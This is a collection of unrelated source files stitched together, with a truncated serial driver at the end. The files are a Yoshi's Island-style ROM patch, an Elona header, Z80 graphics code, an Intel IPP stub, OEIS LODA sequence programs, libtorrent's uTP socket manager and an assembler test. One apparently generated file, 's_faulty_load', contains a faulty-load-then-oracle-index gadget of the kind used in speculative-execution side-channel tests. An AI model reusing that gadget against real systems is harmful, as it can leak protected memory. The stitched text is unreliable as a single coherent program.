sta.b SRAMCopyRt+2 ;/
lda.b SRAMCopySize ; Setup A register for MVN
jsl.l SRAMCopyRt ; Run created routine
plb
rtl
SetSpriteDataPointer:
lda.l $17F7C6,x ;\Get sprite data pointer
sta.b SRAMCopySrcLo ;|
lda.l $17F7C8,x ;|
and.w #$00FF ;|
sta.b SRAMCopySrcHi ;/
lda.w #$C000 ;\Copy level message data to SRAM
sta.b SRAMCopyDstLo ;|
lda.w #$0070 ;|
sta.b SRAMCopyDstHi ;|
lda.w #$3FFF ;|
sta.b SRAMCopySize ;|
jsl.l CopyDataToSRAM ;/
lda.w #$C000 ;\Modify sprite data pointer
sta.l $702600 ;|
lda.w #$0070 ;|
sta.l $702602 ;/
jmp.w $01B0AD
SetLevelNameDataPointer:
phx ;\Save regs
phy ;/
tya ;\Get level name index
asl ;|
tax ;/
lda.l $5149BC,x ;\Get level name data pointer
sta.b SRAMCopySrcLo ;|
tyx ;|
lda.l $515348,x ;|
and.w #$00FF ;|
sta.b SRAMCopySrcHi ;/
lda.w #$8000 ;\Copy level message data to SRAM
sta.b SRAMCopyDstLo ;|
lda.w #$0070 ;|
sta.b SRAMCopyDstHi ;|
lda.w #$03FF ;|
sta.b SRAMCopySize ;|
jsl.l CopyDataToSRAM ;/
lda.w #$8000 ;\Modify level name pointer
sta.l R10 ;|
lda.w #$0070 ;|
sta.l R0 ;/
ply ;\Restore regs
plx ;/
jml.l $00C795
SetLevelMessageDataPointer:
lda.l $5110DB,x ;\Get level message data pointer
sta.b SRAMCopySrcLo ;|
txa ;|
lsr ;|
tax ;|
lda.l $515390,x ;|
and.w #$00FF ;|
sta.b SRAMCopySrcHi ;/
lda.w #$8000 ;\Copy level message data to SRAM
sta.b SRAMCopyDstLo ;|
lda.w #$0070 ;|
sta.b SRAMCopyDstHi ;|
lda.w #$03FF ;|
sta.b SRAMCopySize ;|
jsl.l CopyDataToSRAM ;/
lda.w #$8000 ;\Modify level message pointer
sta.l $704096 ;|
lda.w #$0070 ;|
sta.l $704098 ;/
jmp.w $01E1A9
arch superfx
org $098041
iwt r15,#CheckNewSprites_Pt1
nop
org $09804D
iwt r15,#CheckNewSprites_Pt2
nop
org $09E92F
iwt r15,#SetupLevName
nop
org $09E95F
iwt r15,#SetupLevName_CodeFE
nop
org $09E963
iwt r15,#SetupLevName_CodeFF
nop
org $09B0B7
iwt r15,#SetupLevMsgCtrl
nop
org $09B9F5
iwt r15,#SetupLevMsgImage
nop
org $09FACF
CheckNewSprites_Pt1:
move r0,r14 ;\Load from SRAM instead
to r12 ;|
ldb (r0) ;|
inc r14 ;|
move r0,r14 ;|
ldb (r0) ;|
swap ;|
to r12 ;|
or r12 ;/
iwt r15,#$8045 ;\Return to normal code
nop ;/
CheckNewSprites_Pt2:
move r0,r14 ;\Load from SRAM instead
to r11 ;|
ldb (r0) ;/
inc r14 ;\Copied code
from r12 ;|
hib ;|
lsr ;|
move r12,r0 ;/
iwt r15,#$8055 ;\Return to normal code
nop ;/
SetupLevName:
ibt r0,#$02 ;\Copied code to make room for `ldb`
color ;|
iwt r13,#$E988 ;|
cache ;|
iwt r3,#$00FF ;|
from r10 ;|
to r14 ;|
add r11 ;/
move r0,r14 ;\Load from SRAM instead
ldb (r0) ;/
iwt r15,#$E949 ;\Return to normal code
nop ;/
SetupLevName_CodeFE:
inc r11 ;\Copied code
inc r14 ;/
move r0,r14 ;\Load from SRAM instead
to r8 ;|
ldb (r0) ;/
;iwt r15,#$E963 ;\Return to normal code
;nop ;/
SetupLevName_CodeFF:
inc r11 ;\Copied code
inc r14 ;/
move r0,r14 ;\Load from SRAM instead
to r9 ;|
ldb (r0) ;/
inc r11 ;\Copied code
inc r14 ;/
move r0,r14 ;\Load from SRAM instead
ldb (r0) ;/
iwt r15,#$E96A ;\Return to normal code
nop ;/
SetupLevMsgCtrl:
lm r14,($407C) ;\Load from SRAM instead
move r0,r14 ;|
to r2 ;|
ldb (r0) ;|
inc r14 ;|
move r0,r14 ;|
ldb (r0) ;|
swap ;|
or r2 ;/
iwt r15,#$B0C5 ;\Return to normal code
nop ;/
SetupLevMsgImage:
lm r0,($407C) ;\Load from SRAM instead
to r14 ;|
add #2 ;|
move r0,r14 ;|
ldb (r0) ;|
inc r14 ;|
lsr ;|
lsr ;|
lsr ;|
move r11,r0 ;|
move r10,r0 ;|
move r0,r14 ;|
to r9 ;|
ldb (r0) ;|
inc r14 ;|
move r0,r14 ;|
ldb (r0) ;|
inc r14 ;|
swap ;|
or r9 ;|
lsr ;|
to r9 ;|
lsr ;|
move r0,r14 ;|
ldb (r0) ;|
inc r14 ;|
add #7 ;|
lsr ;|
lsr ;|
to r8 ;|
lsr ;|
move r0,r14 ;|
to r7 ;|
ldb (r0) ;|
inc r14 ;|
move r0,r14 ;|
to r3 ;|
ldb (r0) ;|
inc r14 ;|
move r0,r14 ;|
ldb (r0) ;/
iwt r15,#$BA24 ;\Return to normal code
nop ;/
MoveGELevs_Bank09_End:
arch 65816
;Extra bank pointers
org $22D348 ;(actually $515348 but ASAR doesn't like SuperFX mappings)
LevelNameBankTable: ;$515348
fillbyte $51
fill $48
LevelMessageBankTable: ;$515390
fillbyte $51
fill $012C
|
#pragma once
#include <vector>
#include "eobject/eobject.hpp"
namespace elona
{
enum class TurnResult;
struct Inventory;
struct Item;
void initialize_home_adata();
TurnResult build_new_building(const ItemRef& deed);
TurnResult show_house_board();
void addbuilding(int related_town_quest_id, int building_type, int x, int y);
void show_home_value();
void show_shop_log();
void try_extend_shop();
void prompt_hiring();
void prompt_move_ally();
void prompt_ally_staying();
void update_shop_and_report();
void update_shop();
void calc_collection_value(bool);
void update_museum();
void calc_hairloom_value(int);
struct HomeRankHeirloom
{
ItemRef item;
int value;
};
std::vector<HomeRankHeirloom> building_update_home_rank();
void update_ranch();
int calcincome(int = 0);
void supply_income();
void create_harvested_item();
int getworker(int = 0, int = 0);
void removeworker(int = 0);
void grow_plant(int);
void harvest_plant(int);
void try_to_grow_plant(int = 0);
} // namespace elona
|
SECTION code_clib
PUBLIC cleargraphics
PUBLIC _cleargraphics
EXTERN base_graphics
;
; $Id: clsgraph.asm,v 1.7 2017-01-02 22:57:59 aralbrec Exp $
;
; ******************************************************************
;
; Clear graphics area, i.e. reset all bits and sets graphics mode
;
; Design & programming by Gunther Strube, Copyright (C) InterLogic 1995
; ported by Stefano Bodrato
;
; Registers changed after return:
; a.bcdehl/ixiy same
; .f....../.... different
;
.cleargraphics
._cleargraphics
push bc
push de
push hl
ld a,8
ld (6800h),a
ld (783bh),a ; force graph mode
ld hl,(base_graphics) ; base of graphics area
ld (hl),0
ld d,h
ld e,1 ; de = base_graphics+1
ld bc,128*64/4-1
ldir ; reset graphics window (2K)
pop hl
pop de
pop bc
ret
|
extern m7_ippsHMAC_Unpack:function
extern n8_ippsHMAC_Unpack:function
extern y8_ippsHMAC_Unpack:function
extern e9_ippsHMAC_Unpack:function
extern l9_ippsHMAC_Unpack:function
extern n0_ippsHMAC_Unpack:function
extern k0_ippsHMAC_Unpack:function
extern ippcpJumpIndexForMergedLibs
extern ippcpSafeInit:function
segment .data
align 8
dq .Lin_ippsHMAC_Unpack
.Larraddr_ippsHMAC_Unpack:
dq m7_ippsHMAC_Unpack
dq n8_ippsHMAC_Unpack
dq y8_ippsHMAC_Unpack
dq e9_ippsHMAC_Unpack
dq l9_ippsHMAC_Unpack
dq n0_ippsHMAC_Unpack
dq k0_ippsHMAC_Unpack
segment .text
global ippsHMAC_Unpack:function (ippsHMAC_Unpack.LEndippsHMAC_Unpack - ippsHMAC_Unpack)
.Lin_ippsHMAC_Unpack:
db 0xf3, 0x0f, 0x1e, 0xfa
call ippcpSafeInit wrt ..plt
align 16
ippsHMAC_Unpack:
db 0xf3, 0x0f, 0x1e, 0xfa
mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc]
movsxd rax, dword [rax]
lea r11, [rel .Larraddr_ippsHMAC_Unpack]
mov r11, qword [r11+rax*8]
jmp r11
.LEndippsHMAC_Unpack:
|
; A041618: Numerators of continued fraction convergents to sqrt(328).
; Submitted by Jon Maiga
; 18,163,5886,53137,1918818,17322499,625528782,5647081537,203920464114,1840931258563,66477445772382,600137943210001,21671443401332418,195643128555201763,7064824071388595886,63779059771052564737,2303110975829280926418,20791777842234580902499,750807113296274193416382,6778055797508702321649937,244760815823609557772814114,2209625398209994722276976963,79791275151383419559743984782,720331101760660770759972840001,26011710938535171166918766224818,234825729548577201273028868863363
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
dif $2,4
mul $2,18
add $3,$2
lpe
mov $0,$3
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r15
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x1b353, %r15
nop
nop
nop
add %r13, %r13
movl $0x61626364, (%r15)
nop
nop
nop
nop
nop
add $5938, %r8
lea addresses_D_ht+0xed13, %rdi
nop
nop
dec %r12
vmovups (%rdi), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %rax
nop
nop
nop
nop
cmp %r13, %r13
lea addresses_normal_ht+0x8753, %rax
and %r8, %r8
movups (%rax), %xmm7
vpextrq $1, %xmm7, %r13
nop
nop
nop
nop
nop
cmp %rax, %rax
lea addresses_normal_ht+0x6283, %r8
nop
nop
nop
nop
nop
and $46347, %r13
movw $0x6162, (%r8)
nop
cmp $64681, %rdx
lea addresses_WC_ht+0xf5b3, %rsi
lea addresses_D_ht+0x11d3, %rdi
clflush (%rdi)
nop
add $22591, %r13
mov $32, %rcx
rep movsw
nop
nop
nop
nop
nop
add %r12, %r12
lea addresses_normal_ht+0xc24b, %r13
nop
xor $2730, %rdx
mov (%r13), %si
nop
add $34660, %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %rbx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_D+0x184e3, %rbx
nop
nop
xor %rsi, %rsi
mov $0x5152535455565758, %r15
movq %r15, %xmm5
movups %xmm5, (%rbx)
nop
nop
add %r10, %r10
// Store
lea addresses_WT+0x12793, %r12
clflush (%r12)
nop
nop
xor %r15, %r15
movw $0x5152, (%r12)
nop
nop
nop
nop
add $42550, %rbx
// Store
lea addresses_A+0x18a53, %rbx
sub $45848, %rdi
mov $0x5152535455565758, %r12
movq %r12, %xmm0
movups %xmm0, (%rbx)
dec %rdx
// Store
lea addresses_D+0x29d3, %rbx
nop
nop
nop
nop
nop
cmp %r12, %r12
mov $0x5152535455565758, %rdi
movq %rdi, %xmm5
vmovups %ymm5, (%rbx)
nop
nop
sub %r12, %r12
// Store
mov $0xab3, %r12
nop
nop
nop
nop
nop
dec %r15
mov $0x5152535455565758, %rbx
movq %rbx, %xmm6
movups %xmm6, (%r12)
nop
nop
and %rbx, %rbx
// Store
lea addresses_US+0x4353, %r12
nop
nop
nop
nop
sub $28487, %rsi
movl $0x51525354, (%r12)
nop
inc %r10
// Faulty Load
lea addresses_US+0x4353, %r10
cmp $61871, %r15
mov (%r10), %rbx
lea oracles, %r10
and $0xff, %rbx
shlq $12, %rbx
mov (%r10,%rbx,1), %rbx
pop %rsi
pop %rdx
pop %rdi
pop %rbx
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 6}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 2}}
{'54': 21829}
54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54
*/
|
/*
Copyright (c) 2009-2018, Arvid Norberg
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in
the documentation and/or other materials provided with the distribution.
* Neither the name of the author nor the names of its
contributors may be used to endorse or promote products derived
from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
*/
#include "libtorrent/utp_stream.hpp"
#include "libtorrent/udp_socket.hpp"
#include "libtorrent/utp_socket_manager.hpp"
#include "libtorrent/aux_/instantiate_connection.hpp"
#include "libtorrent/socket_io.hpp"
#include "libtorrent/socket.hpp" // for TORRENT_HAS_DONT_FRAGMENT
#include "libtorrent/broadcast_socket.hpp" // for is_teredo
#include "libtorrent/random.hpp"
#include "libtorrent/performance_counters.hpp"
#include "libtorrent/aux_/time.hpp" // for aux::time_now()
#include "libtorrent/span.hpp"
// #define TORRENT_DEBUG_MTU 1135
namespace libtorrent {
utp_socket_manager::utp_socket_manager(
send_fun_t const& send_fun
, incoming_utp_callback_t const& cb
, io_service& ios
, aux::session_settings const& sett
, counters& cnt
, void* ssl_context)
: m_send_fun(send_fun)
, m_cb(cb)
, m_sett(sett)
, m_counters(cnt)
, m_ios(ios)
, m_ssl_context(ssl_context)
{
m_restrict_mtu.fill(65536);
}
utp_socket_manager::~utp_socket_manager()
{
for (auto& i : m_utp_sockets)
{
delete_utp_impl(i.second);
}
}
void utp_socket_manager::tick(time_point now)
{
for (auto i = m_utp_sockets.begin()
, end(m_utp_sockets.end()); i != end;)
{
if (should_delete(i->second))
{
delete_utp_impl(i->second);
if (m_last_socket == i->second) m_last_socket = nullptr;
i = m_utp_sockets.erase(i);
continue;
}
tick_utp_impl(i->second, now);
++i;
}
}
std::pair<int, int> utp_socket_manager::mtu_for_dest(address const& addr)
{
int mtu = 0;
if (is_teredo(addr)) mtu = TORRENT_TEREDO_MTU;
else mtu = TORRENT_ETHERNET_MTU;
#if defined __APPLE__
// apple has a very strange loopback. It appears you can't
// send messages of the reported MTU size, and you don't get
// EWOULDBLOCK either.
if (is_loopback(addr))
{
if (is_teredo(addr)) mtu = TORRENT_TEREDO_MTU;
else mtu = TORRENT_ETHERNET_MTU;
}
#endif
// clamp the MTU within reasonable bounds
if (mtu < TORRENT_INET_MIN_MTU) mtu = TORRENT_INET_MIN_MTU;
else if (mtu > TORRENT_INET_MAX_MTU) mtu = TORRENT_INET_MAX_MTU;
int const link_mtu = mtu;
mtu -= TORRENT_UDP_HEADER;
if (m_sett.get_int(settings_pack::proxy_type) == settings_pack::socks5
|| m_sett.get_int(settings_pack::proxy_type) == settings_pack::socks5_pw)
{
// this is for the IP layer
// assume the proxy is running over IPv4
mtu -= TORRENT_IPV4_HEADER;
// this is for the SOCKS layer
mtu -= TORRENT_SOCKS5_HEADER;
// the address field in the SOCKS header
if (addr.is_v4()) mtu -= 4;
else mtu -= 16;
}
else
{
if (addr.is_v4()) mtu -= TORRENT_IPV4_HEADER;
else mtu -= TORRENT_IPV6_HEADER;
}
return std::make_pair(link_mtu, std::min(mtu, restrict_mtu()));
}
void utp_socket_manager::send_packet(std::weak_ptr<utp_socket_interface> sock
, udp::endpoint const& ep, char const* p
, int const len, error_code& ec, udp_send_flags_t const flags)
{
#if !defined TORRENT_HAS_DONT_FRAGMENT && !defined TORRENT_DEBUG_MTU
TORRENT_UNUSED(flags);
#endif
#ifdef TORRENT_DEBUG_MTU
// drop packets that exceed the debug MTU
if ((flags & dont_fragment) && len > TORRENT_DEBUG_MTU) return;
#endif
m_send_fun(std::move(sock), ep, {p, std::size_t(len)}, ec
, (flags & udp_socket::dont_fragment)
| udp_socket::peer_connection);
}
bool utp_socket_manager::incoming_packet(std::weak_ptr<utp_socket_interface> socket
, udp::endpoint const& ep, span<char const> p)
{
// UTP_LOGV("incoming packet size:%d\n", size);
if (p.size() < sizeof(utp_header)) return false;
auto const* ph = reinterpret_cast<utp_header const*>(p.data());
// UTP_LOGV("incoming packet version:%d\n", int(ph->get_version()));
if (ph->get_version() != 1) return false;
const time_point receive_time = clock_type::now();
// parse out connection ID and look for existing
// connections. If found, forward to the utp_stream.
std::uint16_t id = ph->connection_id;
// first test to see if it's the same socket as last time
// in most cases it is
if (m_last_socket
&& utp_match(m_last_socket, ep, id))
{
return utp_incoming_packet(m_last_socket, p, ep, receive_time);
}
auto r = m_utp_sockets.equal_range(id);
for (; r.first != r.second; ++r.first)
{
if (!utp_match(r.first->second, ep, id)) continue;
bool ret = utp_incoming_packet(r.first->second, p, ep, receive_time);
if (ret) m_last_socket = r.first->second;
return ret;
}
// UTP_LOGV("incoming packet id:%d source:%s\n", id, print_endpoint(ep).c_str());
if (!m_sett.get_bool(settings_pack::enable_incoming_utp))
return false;
// if not found, see if it's a SYN packet, if it is,
// create a new utp_stream
if (ph->get_type() == ST_SYN)
{
// possible SYN flood. Just ignore
if (int(m_utp_sockets.size()) > m_sett.get_int(settings_pack::connections_limit) * 2)
return false;
// UTP_LOGV("not found, new connection id:%d\n", m_new_connection);
std::shared_ptr<aux::socket_type> c(new (std::nothrow) aux::socket_type(m_ios));
if (!c) return false;
TORRENT_ASSERT(m_new_connection == -1);
// create the new socket with this ID
m_new_connection = id;
aux::instantiate_connection(m_ios, aux::proxy_settings(), *c
, m_ssl_context, this, true, false);
utp_stream* str = nullptr;
#ifdef TORRENT_USE_OPENSSL
if (is_ssl(*c))
str = &c->get<ssl_stream<utp_stream>>()->next_layer();
else
#endif
str = c->get<utp_stream>();
TORRENT_ASSERT(str);
int link_mtu, utp_mtu;
std::tie(link_mtu, utp_mtu) = mtu_for_dest(ep.address());
utp_init_mtu(str->get_impl(), link_mtu, utp_mtu);
utp_init_socket(str->get_impl(), std::move(socket));
bool ret = utp_incoming_packet(str->get_impl(), p, ep, receive_time);
if (!ret) return false;
m_cb(c);
// the connection most likely changed its connection ID here
// we need to move it to the correct ID
return true;
}
if (ph->get_type() == ST_RESET) return false;
// #error send reset
return false;
}
void utp_socket_manager::subscribe_writable(utp_socket_impl* s)
{
TORRENT_ASSERT(std::find(m_stalled_sockets.begin(), m_stalled_sockets.end()
, s) == m_stalled_sockets.end());
m_stalled_sockets.push_back(s);
}
void utp_socket_manager::writable()
{
if (!m_stalled_sockets.empty())
{
m_temp_sockets.clear();
m_stalled_sockets.swap(m_temp_sockets);
for (auto const &s : m_temp_sockets)
{
utp_writable(s);
}
}
}
void utp_socket_manager::socket_drained()
{
// flush all deferred acks
if (!m_deferred_acks.empty())
{
m_temp_sockets.clear();
m_deferred_acks.swap(m_temp_sockets);
for (auto const &s : m_temp_sockets)
{
utp_send_ack(s);
}
}
if (!m_drained_event.empty())
{
m_temp_sockets.clear();
m_drained_event.swap(m_temp_sockets);
for (auto const &s : m_temp_sockets)
{
utp_socket_drained(s);
}
}
}
void utp_socket_manager::defer_ack(utp_socket_impl* s)
{
TORRENT_ASSERT(std::find(m_deferred_acks.begin(), m_deferred_acks.end(), s)
== m_deferred_acks.end());
m_deferred_acks.push_back(s);
}
void utp_socket_manager::subscribe_drained(utp_socket_impl* s)
{
TORRENT_ASSERT(std::find(m_drained_event.begin(), m_drained_event.end(), s)
== m_drained_event.end());
m_drained_event.push_back(s);
}
void utp_socket_manager::remove_udp_socket(std::weak_ptr<utp_socket_interface> sock)
{
for (auto& s : m_utp_sockets)
{
if (!bound_to_udp_socket(s.second, sock))
continue;
utp_abort(s.second);
}
}
void utp_socket_manager::remove_socket(std::uint16_t const id)
{
auto const i = m_utp_sockets.find(id);
if (i == m_utp_sockets.end()) return;
delete_utp_impl(i->second);
if (m_last_socket == i->second) m_last_socket = nullptr;
m_utp_sockets.erase(i);
}
void utp_socket_manager::inc_stats_counter(int counter, int delta)
{
TORRENT_ASSERT((counter >= counters::utp_packet_loss
&& counter <= counters::utp_redundant_pkts_in)
|| (counter >= counters::num_utp_idle
&& counter <= counters::num_utp_deleted));
m_counters.inc_stats_counter(counter, delta);
}
utp_socket_impl* utp_socket_manager::new_utp_socket(utp_stream* str)
{
std::uint16_t send_id = 0;
std::uint16_t recv_id = 0;
if (m_new_connection != -1)
{
send_id = std::uint16_t(m_new_connection);
recv_id = std::uint16_t(m_new_connection + 1);
m_new_connection = -1;
}
else
{
send_id = std::uint16_t(random(0xffff));
recv_id = send_id - 1;
}
utp_socket_impl* impl = construct_utp_impl(recv_id, send_id, str, *this);
m_utp_sockets.emplace(recv_id, impl);
return impl;
}
}
|
#ruledef test
{
ld1 {x: i8} => 0xaa @ x
ld2 {x: s8} => 0xbb @ x
ld3 {x: u8} => 0xcc @ x
}
ld1 "abc" ; error: failed / error: out of range
ld2 "ã" ; error: failed / error: out of range
ld3 "ü" ; error: failed / error: out of range |
; A110224: a(n) = Fibonacci(n)^3 + Fibonacci(n+1)^3.
; Submitted by Jon Maiga
; 1,2,9,35,152,637,2709,11458,48565,205679,871344,3690953,15635321,66231970,280563633,1188485803,5034507976,21326515877,90340574445,382688808866,1621095817661,6867072066967,29089384105824,123224608457425,521987817988657,2211175880326082,9366691339432089,39677941237829363,168078456291113720,711991766401694989,3016045521898847109,12776173853995540738,54120740937883506181,229259137605525526655,971157291359992147728,4113888303045483543833,17426710503541943431721,73820730317213229588322
mov $1,$0
mov $3,2
lpb $3
mov $0,$1
sub $3,1
add $0,$3
max $0,0
seq $0,56570 ; Third power of Fibonacci numbers (A000045).
add $2,$0
lpe
mov $0,$2
|
; A114620: 2*A084158 (twice Pell triangles).
; Submitted by Jamie Morken(s3)
; 0,2,10,60,348,2030,11830,68952,401880,2342330,13652098,79570260,463769460,2703046502,15754509550,91824010800,535189555248,3119313320690,18180690368890,105964828892652,617608282987020
mov $3,1
lpb $0
sub $0,1
add $1,$3
mov $2,$3
add $3,$1
mov $1,$2
lpe
mul $1,$3
mov $0,$1
|
;
; KZ80_SB_MC6850用モジュール
; シリアル MC6850
;--------------------------------------------------------
UARTRC EQU 80H
UARTRD EQU 81H
;
BUFSIZ EQU 3FH
BUFFUL EQU 30H
BUFEMP EQU 5
;
RTSHIG EQU 0D6h
RTSLOW EQU 096h
;------------------------------------------------------------------------------
; 割り込みルーチン
;------------------------------------------------------------------------------
SERINT: PUSH AF
PUSH HL
IN A,(UARTRC)
AND 00000001B
JP Z,RTS0
IN A,(UARTRD)
PUSH AF
LD A,(SERCNT)
CP BUFSIZ
JP NZ,NOTFUL
POP AF
JP RTS0
NOTFUL: LD HL,(SERINP)
INC HL
LD A,L
CP SERINP & 0FFH
JP NZ,NOTWRP
LD HL,SERBUF
NOTWRP: LD (SERINP),HL
POP AF
LD (HL),A
LD A,(SERCNT)
INC A
LD (SERCNT),A
CP BUFFUL
JP C,RTS0
LD A,RTSHIG
OUT (UARTRC),A
RTS0: POP HL
POP AF
EI
RET
;------------------------------------------------------------------------------
; 1文字入力(バッファから)
;------------------------------------------------------------------------------
CIN:
LD A,(SERCNT)
CP 00H
JP Z,CIN
PUSH HL
LD HL,(SERRDP)
INC HL
LD A,L
CP SERINP & 0FFH
JP NZ,NRWRAP
LD HL,SERBUF
NRWRAP: DI
LD (SERRDP),HL
LD A,(SERCNT)
DEC A
